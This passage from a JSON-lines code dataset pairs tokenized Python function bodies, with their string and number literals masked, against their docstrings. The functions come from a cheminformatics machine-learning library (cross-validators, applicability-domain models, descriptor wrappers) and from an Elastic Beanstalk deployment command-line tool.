range(self.n_splits):<EOL><INDENT>train_index = []<EOL>for fold in train_folds[:i]:<EOL><INDENT>train_index.extend(fold)<EOL><DEDENT>for fold in train_folds[i+<NUM_LIT:1>:]:<EOL><INDENT>train_index.extend(fold)<EOL><DEDENT>test_index = test_folds[i]<EOL>yield array(train_index), array(test_index)<EOL><DEDENT><DEDENT>", "docstring": "Generate indices to split data into training and test set.\n        Parameters\n        ----------\n        X : array-like, of length n_samples\n            Training data, includes reaction's containers\n        y : array-like, of length n_samples\n            The target variable for supervised learning problems.\n        groups : array-like, with shape (n_samples,)\n            Group labels for the samples used while splitting the dataset into\n            train/test set.\n        Yields\n        ------\n        train : ndarray\n            The training set indices for that split.\n        test : ndarray\n            The testing set indices for that split.", "id": "f15062:c0:m2"}
{"signature": "def get_n_splits(self, X=None, y=None, groups=None):", "body": "return len(set(groups))<EOL>", "docstring": "Returns the number of splitting iterations in the cross-validator\n        Parameters\n        ----------\n        X : object\n            Always ignored, exists for compatibility.\n            ``np.zeros(n_samples)`` may be used as a placeholder.\n        y : object\n            Always ignored, exists for compatibility.\n            ``np.zeros(n_samples)`` may be used as a placeholder.\n        groups : array-like, with shape (n_samples,)\n            Group labels for the samples used while splitting the dataset into\n            train/test set.\n        Returns\n        -------\n        n_splits : int\n            Returns the number of splitting iterations in the cross-validator.", "id": "f15063:c0:m0"}
{"signature": "def split(self, X, y=None, groups=None):", "body": "X, y, groups = indexable(X, y, groups)<EOL>cgrs = [~r for r in X]<EOL>structure_condition = defaultdict(set)<EOL>for structure, condition in zip(cgrs, groups):<EOL><INDENT>structure_condition[structure].add(condition)<EOL><DEDENT>train_data = defaultdict(list)<EOL>test_data = []<EOL>for n, (structure, condition) in enumerate(zip(cgrs, groups)):<EOL><INDENT>train_data[condition].append(n)<EOL>if len(structure_condition[structure]) > <NUM_LIT:1>:<EOL><INDENT>test_data.append(n)<EOL><DEDENT><DEDENT>for condition, indexes in train_data.items():<EOL><INDENT>test_index = [index for index in indexes if index in test_data]<EOL>if test_index:<EOL><INDENT>train_index = [i for cond, ind in train_data.items() if cond != condition for i in ind]<EOL>yield array(train_index), array(test_index)<EOL><DEDENT><DEDENT>", "docstring": "Generate indices to split data into training and test set.\n        Parameters\n        ----------\n        X : array-like, of length n_samples\n            Training data, includes reaction's containers\n        y : array-like, of length n_samples\n            The target variable for supervised learning problems.\n        groups : array-like, with shape (n_samples,)\n            Group labels for the samples used while splitting the dataset into\n            train/test set.\n        Yields\n        ------\n        train : ndarray\n            The training set indices for that split.\n        test : ndarray\n            The testing set indices for that split.", "id": "f15063:c0:m1"}
{"signature": "def molconvert_chemaxon(data):", "body": "if isinstance(data, Path):<EOL><INDENT>with data.open('<STR_LIT:rb>') as f:<EOL><INDENT>data = f.read()<EOL><DEDENT><DEDENT>elif isinstance(data, StringIO):<EOL><INDENT>data = data.read().encode()<EOL><DEDENT>elif isinstance(data, BytesIO):<EOL><INDENT>data = data.read()<EOL><DEDENT>elif hasattr(data, '<STR_LIT>'):  <EOL><INDENT>data = data.read()<EOL>if isinstance(data, str):<EOL><INDENT>data = data.encode()<EOL><DEDENT><DEDENT>elif isinstance(data, str):<EOL><INDENT>data = data.encode()<EOL><DEDENT>elif not isinstance(data, bytes):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>p = run(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], input=data, stdout=PIPE)<EOL><DEDENT>except FileNotFoundError as e:<EOL><INDENT>raise ConfigurationError from e<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>raise ConfigurationError(p.stderr.decode())<EOL><DEDENT>with BytesIO(p.stdout) as f, MRVread(f) as r:<EOL><INDENT>return iter2array(r)<EOL><DEDENT>", "docstring": "molconvert wrapper\n:param data: buffer or string or path to file\n:return: array of molecules of reactions", "id": "f15067:m0"}
{"signature": "def fit(self, X, y=None):", "body": "<EOL>X = check_array(X)<EOL>self.tree = BallTree(X, leaf_size=self.leaf_size, metric=self.metric)<EOL>dist_train = self.tree.query(X, k=<NUM_LIT:2>)[<NUM_LIT:0>]<EOL>if self.threshold == '<STR_LIT>':<EOL><INDENT>self.threshold_value = <NUM_LIT:0.5> * sqrt(var(dist_train[:, <NUM_LIT:1>])) + mean(dist_train[:, <NUM_LIT:1>])<EOL><DEDENT>elif self.threshold == '<STR_LIT>':<EOL><INDENT>if y is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>y = check_array(y, accept_sparse='<STR_LIT>', ensure_2d=False, dtype=None)<EOL>self.threshold_value = <NUM_LIT:0><EOL>score = <NUM_LIT:0><EOL>Y_pred, Y_true, AD = [], [], []<EOL>cv = KFold(n_splits=<NUM_LIT:5>, random_state=<NUM_LIT:1>, shuffle=True)<EOL>for train_index, test_index in cv.split(X):<EOL><INDENT>x_train = safe_indexing(X, train_index)<EOL>x_test = safe_indexing(X, test_index)<EOL>y_train = safe_indexing(y, train_index)<EOL>y_test = safe_indexing(y, test_index)<EOL>data_test = safe_indexing(dist_train[:, <NUM_LIT:1>], test_index)<EOL>if self.reg_model is None:<EOL><INDENT>reg_model = RandomForestRegressor(n_estimators=<NUM_LIT>, random_state=<NUM_LIT:1>).fit(x_train, y_train)<EOL><DEDENT>else:<EOL><INDENT>reg_model = clone(self.reg_model).fit(x_train, y_train)<EOL><DEDENT>Y_pred.append(reg_model.predict(x_test))<EOL>Y_true.append(y_test)<EOL>AD.append(data_test)<EOL><DEDENT>AD_ = unique(hstack(AD))<EOL>for z in AD_:<EOL><INDENT>AD_new = hstack(AD) <= z<EOL>if self.score == '<STR_LIT>':<EOL><INDENT>val = balanced_accuracy_score_with_ad(Y_true=hstack(Y_true), Y_pred=hstack(Y_pred), AD=AD_new)<EOL><DEDENT>elif self.score == '<STR_LIT>':<EOL><INDENT>val = rmse_score_with_ad(Y_true=hstack(Y_true), Y_pred=hstack(Y_pred), AD=AD_new)<EOL><DEDENT>if val >= score:<EOL><INDENT>score = val<EOL>self.threshold_value = z<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.threshold_value = self.threshold<EOL><DEDENT>return self<EOL>", "docstring": "Fit distance-based AD.\n\n        Parameters\n        ----------\n        X : array-like or sparse matrix, shape (n_samples, n_features)\n            The input samples. Use ``dtype=np.float32`` for maximum\n            efficiency.\n\n        Returns\n        -------\n        self : object\n            Returns self.", "id": "f15068:c0:m1"}
{"signature": "def predict_proba(self, X):", "body": "<EOL>check_is_fitted(self, ['<STR_LIT>'])<EOL>X = check_array(X)<EOL>return self.tree.query(X)[<NUM_LIT:0>].flatten()<EOL>", "docstring": "Returns the value of the nearest neighbor from the training set.\n\n        Parameters\n        ----------\n         X : array-like or sparse matrix, shape (n_samples, n_features)\n            The input samples. Internally, it will be converted to\n            ``dtype=np.float32`` and if a sparse matrix is provided\n            to a sparse ``csr_matrix``.\n\n        Returns\n        -------\n        y : array, shape (n_samples,)", "id": "f15068:c0:m2"}
{"signature": "def predict(self, X):", "body": "<EOL>check_is_fitted(self, ['<STR_LIT>'])<EOL>X = check_array(X)<EOL>return self.tree.query(X)[<NUM_LIT:0>].flatten() <= self.threshold_value<EOL>", "docstring": "Predict if a particular sample is an outlier or not.\n\n        Parameters\n        ----------\n         X : array-like or sparse matrix, shape (n_samples, n_features)\n            The input samples. Internally, it will be converted to\n            ``dtype=np.float32`` and if a sparse matrix is provided\n            to a sparse ``csr_matrix``.\n\n        Returns\n        -------\n        y : array, shape (n_samples,)\n            For each observations, tells whether or not (True or False) it should\n            be considered as an inlier according to the fitted model.", "id": "f15068:c0:m3"}
{"signature": "def fit(self, X, y=None):", "body": "<EOL>X = check_array(X)<EOL>self._x_min = X.min(axis=<NUM_LIT:0>) <EOL>self._x_max = X.max(axis=<NUM_LIT:0>) <EOL>return self<EOL>", "docstring": "Find min and max values of every feature.\n\n        Parameters\n        ----------\n        X : {array-like, sparse matrix}, shape (n_samples, n_features)\n            The training input samples.\n        y : Ignored\n            not used, present for API consistency by convention.\n\n        Returns\n        -------\n        self : object", "id": "f15069:c0:m1"}
{"signature": "def predict(self, X):", "body": "<EOL>check_is_fitted(self, ['<STR_LIT>', '<STR_LIT>'])<EOL>X = check_array(X)<EOL>return ((X - self._x_min).min(axis=<NUM_LIT:1>) >= <NUM_LIT:0>) & ((self._x_max - X).min(axis=<NUM_LIT:1>) >= <NUM_LIT:0>)<EOL>", "docstring": "Predict if a particular sample is an outlier or not.\n\n        Parameters\n        ----------\n        X : array-like or sparse matrix, shape (n_samples, n_features)\n            The input samples. Internally, it will be converted to\n            ``dtype=np.float32`` and if a sparse matrix is provided\n            to a sparse ``csr_matrix``.\n\n        Returns\n        -------\n        is_inlier : array, shape (n_samples,)\n                   For each observations, tells whether or not (True or False) it should\n                   be considered as an inlier according to the fitted model.", "id": "f15069:c0:m2"}
{"signature": "def fit(self, X, y=None):", "body": "<EOL>X = check_array(X)<EOL>self.inverse_influence_matrix = self.__make_inverse_matrix(X)<EOL>if self.threshold == '<STR_LIT>':<EOL><INDENT>self.threshold_value = <NUM_LIT:3> * (<NUM_LIT:1> + X.shape[<NUM_LIT:1>]) / X.shape[<NUM_LIT:0>]<EOL><DEDENT>elif self.threshold == '<STR_LIT>':<EOL><INDENT>if y is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>y = check_array(y, accept_sparse='<STR_LIT>', ensure_2d=False, dtype=None)<EOL>self.threshold_value = <NUM_LIT:0><EOL>score = <NUM_LIT:0><EOL>Y_pred, Y_true, AD = [], [], []<EOL>cv = KFold(n_splits=<NUM_LIT:5>, random_state=<NUM_LIT:1>, shuffle=True)<EOL>for train_index, test_index in cv.split(X):<EOL><INDENT>x_train = safe_indexing(X, train_index)<EOL>x_test = safe_indexing(X, test_index)<EOL>y_train = safe_indexing(y, train_index)<EOL>y_test = safe_indexing(y, test_index)<EOL>if self.reg_model is None:<EOL><INDENT>reg_model = RandomForestRegressor(n_estimators=<NUM_LIT>, random_state=<NUM_LIT:1>).fit(x_train, y_train)<EOL><DEDENT>else:<EOL><INDENT>reg_model = clone(self.reg_model).fit(x_train, y_train)<EOL><DEDENT>Y_pred.append(reg_model.predict(x_test))<EOL>Y_true.append(y_test)<EOL>ad_model = self.__make_inverse_matrix(x_train)<EOL>AD.append(self.__find_leverages(x_test, ad_model))<EOL><DEDENT>AD_ = unique(hstack(AD))<EOL>for z in AD_:<EOL><INDENT>AD_new = hstack(AD) <= z<EOL>if self.score == '<STR_LIT>':<EOL><INDENT>val = balanced_accuracy_score_with_ad(Y_true=hstack(Y_true), Y_pred=hstack(Y_pred), AD=AD_new)<EOL><DEDENT>elif self.score == '<STR_LIT>':<EOL><INDENT>val = rmse_score_with_ad(Y_true=hstack(Y_true), Y_pred=hstack(Y_pred), AD=AD_new)<EOL><DEDENT>if val >= score:<EOL><INDENT>score = val<EOL>self.threshold_value = z<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self.threshold_value = self.threshold<EOL><DEDENT>return self<EOL>", "docstring": "Learning is to find the inverse matrix for X and calculate the threshold.\n\n        Parameters\n        ----------\n        X : array-like or sparse matrix, shape (n_samples, n_features)\n            The input samples. Use ``dtype=np.float32`` for maximum\n            efficiency.\n        y : array-like, shape = [n_samples] or [n_samples, n_outputs]\n            The target values (real numbers in regression).\n\n        Returns\n        -------\n        self : object", "id": "f15071:c0:m3"}
{"signature": "def predict_proba(self, X):", "body": "<EOL>check_is_fitted(self, ['<STR_LIT>'])<EOL>X = check_array(X)<EOL>return self.__find_leverages(X, self.inverse_influence_matrix)<EOL>", "docstring": "Predict the distances for X to center of the training set.\n\n        Parameters\n        ----------\n        X : array-like or sparse matrix, shape (n_samples, n_features)\n            The input samples. Internally, it will be converted to\n            ``dtype=np.float32`` and if a sparse matrix is provided\n            to a sparse ``csr_matrix``.\n\n        Returns\n        -------\n        leverages: array of shape = [n_samples]\n                   The objects distances to center of the training set.", "id": "f15071:c0:m4"}
{"signature": "def predict(self, X):", "body": "<EOL>check_is_fitted(self, ['<STR_LIT>'])<EOL>X = check_array(X)<EOL>return self.__find_leverages(X, self.inverse_influence_matrix) <= self.threshold_value<EOL>", "docstring": "Predict inside or outside AD for X.\n\n        Parameters\n        ----------\n        X : array-like or sparse matrix, shape (n_samples, n_features)\n            The input samples. Internally, it will be converted to\n            ``dtype=np.float32`` and if a sparse matrix is provided\n            to a sparse ``csr_matrix``.\n\n        Returns\n        -------\n        ad : array of shape = [n_samples]\n            Array contains True (reaction in AD) and False (reaction residing outside AD).", "id": "f15071:c0:m5"}
{"signature": "def fit(self, X):", "body": "X = iter2array(X, dtype=ReactionContainer)<EOL>self._train_signatures = {self.__get_signature(x) for x in X}<EOL>return self<EOL>", "docstring": "Fit structure-based AD. The training model  memorizes the unique set of reaction signature.\n\n        Parameters\n        ----------\n        X : after read rdf file\n\n        Returns\n        -------\n        self : object", "id": "f15072:c0:m2"}
{"signature": "def predict(self, X):", "body": "check_is_fitted(self, ['<STR_LIT>'])<EOL>X = iter2array(X, dtype=ReactionContainer)<EOL>return array([self.__get_signature(x) in self._train_signatures for x in X])<EOL>", "docstring": "Reaction is considered belonging to model\u2019s AD\n        if its reaction signature coincides with ones used in training set.\n\n        Parameters\n        ----------\n        X : after read rdf file\n\n        Returns\n        -------\n        self : array contains True (reaction in AD) and False (reaction residing outside AD).", "id": "f15072:c0:m3"}
{"signature": "def __init__(self, temperature=None, pressure=None, solvents=None, amounts=None,<EOL>default_temperature=<NUM_LIT> * C, default_pressure=<NUM_LIT:1> * bar,<EOL>default_first_solvent='<STR_LIT>', default_first_amount=<NUM_LIT:1>):", "body": "if solvents:<EOL><INDENT>if <NUM_LIT:1> < len(solvents) != len(amounts):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif amounts and len(amounts) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.__temperature = temperature<EOL>self.__pressure = pressure<EOL>self.__solvents = solvents<EOL>self.__amounts = amounts<EOL>self.__default_temperature = default_temperature<EOL>self.__default_pressure = default_pressure<EOL>self.__default_first_solvent = default_first_solvent<EOL>self.__default_first_amount = default_first_amount<EOL>", "docstring": "Dictionary to Conditions mapper\n\n        :param temperature: name of temperature key\n        :param pressure: name of pressure key\n        :param solvents: names of solvents keys\n        :param amounts: names of solvents amounts keys", "id": "f15074:c1:m0"}
{"signature": "def get_feature_names(self):", "body": "return ['<STR_LIT>', '<STR_LIT>'] + [f'<STR_LIT>' for x in range(<NUM_LIT:1>, self.max_solvents + <NUM_LIT:1>)] +[f'<STR_LIT>' for x in range(<NUM_LIT:1>, self.max_solvents + <NUM_LIT:1>)]<EOL>", "docstring": "Get feature names.\n\n        Returns\n        -------\n        feature_names : list of strings\n            Names of the features produced by transform.", "id": "f15074:c2:m1"}
{"signature": "def __init__(self, templates, balance_groups=False):", "body": "self.templates = templates<EOL>self.balance_groups = balance_groups<EOL>self.__init()<EOL>", "docstring": "CGR standardization and reaction balancing\n\n:param templates: CGRTemplates. list of rules for graph modifications.\n:param balance_groups: if True: for unbalanced reactions contains multiple attached functional groups in\n    products and one of them described in reagents - will be restored information about all equal groups.\n    for example:\n\n        R + B1-X-> B'1-R'-B'2 + X'\n\n    where B' is transformed B, R and X same.\n    we know what B'1 and B'2 is equal and B'1 is transformed B1 =>\n    this groups most likely appeared from a single reagent. we can add copy of B-X to reagents.\n    results will be:\n\n        R + B1-X1 + B2-X2 -> B'1-R'-B'2 + X'1 + X'2", "id": "f15077:c0:m0"}
{"signature": "def __init__(self, fragment_type=<NUM_LIT:3>, min_length=<NUM_LIT:2>, max_length=<NUM_LIT:10>, cgr_dynbonds=<NUM_LIT:0>, doallways=False,<EOL>useformalcharge=False, header=None, workpath='<STR_LIT:.>', version=None, verbose=False, remove_rare_ratio=<NUM_LIT:0>,<EOL>return_domain=False):", "body": "self.fragment_type = fragment_type<EOL>self.min_length = min_length<EOL>self.max_length = max_length<EOL>self.cgr_dynbonds = cgr_dynbonds<EOL>self.doallways = doallways<EOL>self.useformalcharge = useformalcharge<EOL>self.version = version<EOL>self.verbose = verbose<EOL>self.header = header<EOL>self.remove_rare_ratio = remove_rare_ratio<EOL>self.return_domain = return_domain<EOL>self.__init_header()<EOL>self.set_work_path(workpath)<EOL>", "docstring": "ISIDA Fragmentor wrapper\n\n:param workpath: path for temp files.\n:param version: fragmentor version. need for selecting Fragmentor executables named as fragmentor-{version}\n:param header: if None descriptors will be generated on train set\n               if False Fragmentor will work in headless mode. in this mod fit unusable and Fragmentor return\n                   all found descriptors\n               else path string to existing header file acceptable\n:param remove_rare_ratio: if descriptors found on train less then given ratio it will be removed from header.\n                          if partial fit used, be sure to use finalize method.\n                          unusable if headless mode set\n:param return_domain: add AD bool column. if False molecule has new features", "id": "f15080:c0:m0"}
{"signature": "def finalize(self):", "body": "if self.__head_less:<EOL><INDENT>warn(f'<STR_LIT>')<EOL><DEDENT>elif not self.__head_generate:<EOL><INDENT>warn(f'<STR_LIT>')<EOL><DEDENT>elif not self.__head_dict:<EOL><INDENT>raise NotFittedError(f'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if self.remove_rare_ratio:<EOL><INDENT>self.__clean_head(*self.__head_rare)<EOL>self.__prepare_header()<EOL>self.__head_rare = None<EOL><DEDENT>self.__head_generate = False<EOL><DEDENT>", "docstring": "finalize partial fitting procedure", "id": "f15080:c0:m7"}
{"signature": "def _reset(self):", "body": "if not self.__head_less:<EOL><INDENT>if not self.__head_generate:<EOL><INDENT>self.__head_generate = True<EOL><DEDENT>if self.__head_dict:<EOL><INDENT>self.__head_dump = self.__head_dict = None<EOL><DEDENT>if self.__head_rare is not None:<EOL><INDENT>self.__head_rare = None<EOL><DEDENT>self.delete_work_path()<EOL><DEDENT>", "docstring": "Reset internal data-dependent state.\n        __init__ parameters are not touched.", "id": "f15080:c0:m8"}
{"signature": "def get_feature_names(self):", "body": "if self.__head_less:<EOL><INDENT>raise AttributeError(f'<STR_LIT>')<EOL><DEDENT>elif not self.__head_dict:<EOL><INDENT>raise NotFittedError(f'<STR_LIT>')<EOL><DEDENT>return list(self.__head_dict.values())<EOL>", "docstring": "Get feature names.\n\n        Returns\n        -------\n        feature_names : list of strings\n            Names of the features produced by transform.", "id": "f15080:c0:m9"}
{"signature": "def fit(self, x, y=None):", "body": "x = iter2array(x, dtype=(MoleculeContainer, CGRContainer))<EOL>if self.__head_less:<EOL><INDENT>warn(f'<STR_LIT>')<EOL>return self<EOL><DEDENT>self._reset()<EOL>self.__prepare(x)<EOL>return self<EOL>", "docstring": "Compute the header.", "id": "f15080:c0:m10"}
{"signature": "def get_feature_names(self):", "body": "return [f'<STR_LIT>']<EOL>", "docstring": "Get feature names.\n\n        Returns\n        -------\n        feature_names : list of strings\n            Names of the features produced by transform.", "id": "f15081:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def __parser(expression):<DEDENT>", "body": "expr_stack = []<EOL>def push_first(strg, loc, toks):<EOL><INDENT>expr_stack.append(toks[<NUM_LIT:0>])<EOL><DEDENT>def push_u_minus(strg, loc, toks):<EOL><INDENT>if toks and toks[<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>expr_stack.append('<STR_LIT>')<EOL><DEDENT><DEDENT>point = Literal('<STR_LIT:.>')<EOL>_e = CaselessLiteral('<STR_LIT:E>')<EOL>fnumber = Combine(Word('<STR_LIT>' + nums, nums) +<EOL>Optional(point + Optional(Word(nums))) +<EOL>Optional(_e + Word('<STR_LIT>' + nums, nums)))<EOL>ident = Word(alphas, alphas + nums + '<STR_LIT>')<EOL>plus = Literal(\"<STR_LIT:+>\")<EOL>minus = Literal(\"<STR_LIT:->\")<EOL>mult = Literal(\"<STR_LIT:*>\")<EOL>div = Literal(\"<STR_LIT:/>\")<EOL>lpar = Literal(\"<STR_LIT:(>\").suppress()<EOL>rpar = Literal(\"<STR_LIT:)>\").suppress()<EOL>addop = plus | minus<EOL>multop = mult | div<EOL>expop = Literal(\"<STR_LIT>\")<EOL>_pi = CaselessLiteral(\"<STR_LIT>\")<EOL>x = CaselessLiteral(\"<STR_LIT:X>\")<EOL>expr = Forward()<EOL>atom = (Optional(\"<STR_LIT:->\") + (x | _pi | _e | fnumber | ident + lpar + expr + rpar).setParseAction(push_first) |<EOL>(lpar + expr.suppress() + rpar)).setParseAction(push_u_minus)<EOL>factor = Forward()<EOL>factor << atom + ZeroOrMore((expop + factor).setParseAction(push_first))<EOL>term = factor + ZeroOrMore((multop + factor).setParseAction(push_first))<EOL>expr << term + ZeroOrMore((addop + term).setParseAction(push_first))<EOL>expr.parseString(expression)<EOL>return expr_stack<EOL>", "docstring": "adopted from Paul McGuire example. http://pyparsing.wikispaces.com/file/view/fourFn.py", "id": "f15081:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def get_feature_names():<DEDENT>", "body": "return list(header)<EOL>", "docstring": "Get feature names.\n\n        Returns\n        -------\n        feature_names : list of strings\n            Names of the features produced by transform.", "id": "f15083:c0:m1"}
{"signature": "def add_arguments(parser):", "body": "usage()<EOL>exit(<NUM_LIT:0>)<EOL>", "docstring": "adds arguments for the help command", "id": "f15086:m0"}
{"signature": "def execute(helper, config, args):", "body": "pass<EOL>", "docstring": "empty command to allow help messages to work", "id": "f15086:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>',  help='<STR_LIT>', required=True)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',    help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>", "docstring": "adds arguments for the rebuild command", "id": "f15087:m0"}
{"signature": "def execute(helper, config, args):", "body": "env_config = parse_env_config(config, args.environment)<EOL>helper.rebuild_environment(args.environment)<EOL>if not args.dont_wait:<EOL><INDENT>helper.wait_for_environments(args.environment, health='<STR_LIT>', status='<STR_LIT>')<EOL><DEDENT>", "docstring": "Rebuilds an environment", "id": "f15087:m1"}
{"signature": "def execute(helper, config, args):", "body": "envs = config.get('<STR_LIT>', {}).get('<STR_LIT>', [])<EOL>out(\"<STR_LIT>\")<EOL>for name, conf in list(envs.items()):<EOL><INDENT>out('<STR_LIT:\\t>'+name)<EOL><DEDENT>envs = helper.get_environments()<EOL>out(\"<STR_LIT>\")<EOL>for env in envs:<EOL><INDENT>if env['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>out('<STR_LIT:\\t>'+str(env['<STR_LIT>'])+'<STR_LIT>'+str(env['<STR_LIT>'])+'<STR_LIT:U+002CU+0020>'+str(env['<STR_LIT>'])+'<STR_LIT:)>')<EOL><DEDENT><DEDENT>", "docstring": "Lists environments", "id": "f15088:m0"}
{"signature": "def execute(helper, config, args):", "body": "versions = helper.get_versions()<EOL>out(\"<STR_LIT>\")<EOL>for version in versions:<EOL><INDENT>out(version)<EOL><DEDENT>", "docstring": "Lists environments", "id": "f15089:m0"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>',<EOL>required=False, action='<STR_LIT:store_true>')<EOL>", "docstring": "adds arguments for the deploy command", "id": "f15090:m0"}
{"signature": "def execute(helper, config, args):", "body": "version_label = args.version_label<EOL>env_config = parse_env_config(config, args.environment)<EOL>env_name = args.environment<EOL>version_label = upload_application_archive(<EOL>helper, env_config, archive=args.archive,<EOL>directory=args.directory, version_label=version_label)<EOL>import datetime<EOL>start_time = datetime.datetime.utcnow().isoformat() + '<STR_LIT>'<EOL>helper.deploy_version(env_name, version_label)<EOL>if not args.dont_wait:<EOL><INDENT>helper.wait_for_environments(env_name, status='<STR_LIT>',<EOL>version_label=version_label,<EOL>include_deleted=False)<EOL><DEDENT>env = parse_env_config(config, env_name)<EOL>option_settings = parse_option_settings(env.get('<STR_LIT>', {}))<EOL>helper.update_environment(env_name,<EOL>description=env.get('<STR_LIT:description>', None),<EOL>option_settings=option_settings,<EOL>tier_type=env.get('<STR_LIT>'),<EOL>tier_name=env.get('<STR_LIT>'),<EOL>tier_version=env.get('<STR_LIT>'))<EOL>if not args.dont_wait:<EOL><INDENT>helper.wait_for_environments(env_name, health='<STR_LIT>',<EOL>status='<STR_LIT>', version_label=version_label,<EOL>include_deleted=False)<EOL><DEDENT>events = helper.ebs.describe_events(start_time=start_time, environment_name=env_name)<EOL>import json<EOL>if args.log_events_to_file:<EOL><INDENT>with open('<STR_LIT>', '<STR_LIT>') as f:<EOL><INDENT>json.dump(events, f)<EOL><DEDENT><DEDENT>helper.delete_unused_versions(versions_to_keep=int(get(config, '<STR_LIT>', <NUM_LIT:10>)))<EOL>", "docstring": "Deploys to an environment", "id": "f15090:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>", "docstring": "adds arguments for the describe events command", "id": "f15091:m0"}
{"signature": "def execute(helper, config, args):", "body": "helper.wait_for_environments(args.environment, health=args.health)<EOL>", "docstring": "Waits for an environment to be healthy", "id": "f15091:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>", "docstring": "adds arguments for the dump command", "id": "f15092:m0"}
{"signature": "def execute(helper, config, args):", "body": "env = parse_env_config(config, args.environment)<EOL>option_settings = env.get('<STR_LIT>', {})<EOL>settings = parse_option_settings(option_settings)<EOL>for setting in settings:<EOL><INDENT>out(str(setting))<EOL><DEDENT>", "docstring": "dump command dumps things", "id": "f15092:m1"}
{"signature": "def get_command_names():", "body": "ret = []<EOL>for f in os.listdir(COMMAND_MODULE_PATH):<EOL><INDENT>if os.path.isfile(os.path.join(COMMAND_MODULE_PATH, f)) and f.endswith(COMMAND_MODULE_SUFFIX):<EOL><INDENT>ret.append(f[:-len(COMMAND_MODULE_SUFFIX)])<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "Returns a list of command names supported", "id": "f15093:m1"}
{"signature": "def get_command(name):", "body": "try:<EOL><INDENT>result = get_command_without_error_checking(name)<EOL><DEDENT>except:<EOL><INDENT>result = get_command_without_error_checking('<STR_LIT>')<EOL><DEDENT>return result<EOL>", "docstring": "Returns a command module", "id": "f15093:m2"}
{"signature": "def get_command_without_error_checking(name):", "body": "__import__('<STR_LIT>' + name + '<STR_LIT>')<EOL>return sys.modules['<STR_LIT>' + name + '<STR_LIT>']<EOL>", "docstring": "Returns a command module", "id": "f15093:m3"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>',      help='<STR_LIT>', required=True)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',        help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',    help='<STR_LIT>', required=False)<EOL>", "docstring": "adds arguments for the deploy command", "id": "f15094:m0"}
{"signature": "def execute(helper, config, args):", "body": "env_config = parse_env_config(config, args.environment)<EOL>cname_prefix = env_config.get('<STR_LIT>', None)<EOL>env_name = args.environment<EOL>if args.version_label:<EOL><INDENT>helper.deploy_version(env_name, args.version_label)<EOL>if not args.dont_wait:<EOL><INDENT>helper.wait_for_environments(env_name, status='<STR_LIT>', version_label=args.version_label)<EOL><DEDENT><DEDENT>env = parse_env_config(config, env_name)<EOL>option_settings = parse_option_settings(env.get('<STR_LIT>', {}))<EOL>helper.update_environment(env_name,<EOL>description=env.get('<STR_LIT:description>', None),<EOL>option_settings=option_settings,<EOL>tier_type=env.get('<STR_LIT>'),<EOL>tier_name=env.get('<STR_LIT>'),<EOL>tier_version=env.get('<STR_LIT>'))<EOL>if not args.dont_wait:<EOL><INDENT>helper.wait_for_environments(env_name, health='<STR_LIT>', status='<STR_LIT>', version_label=args.version_label)<EOL><DEDENT>helper.delete_unused_versions(versions_to_keep=int( get(config, '<STR_LIT>', <NUM_LIT:10>) ))<EOL>", "docstring": "Deploys to an environment", "id": "f15094:m1"}
{"signature": "def add_arguments(parser):", "body": "parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=True)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>', required=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>type=int, required=False)<EOL>", "docstring": "adds arguments for the deploy command", "id": "f15095:m0"}
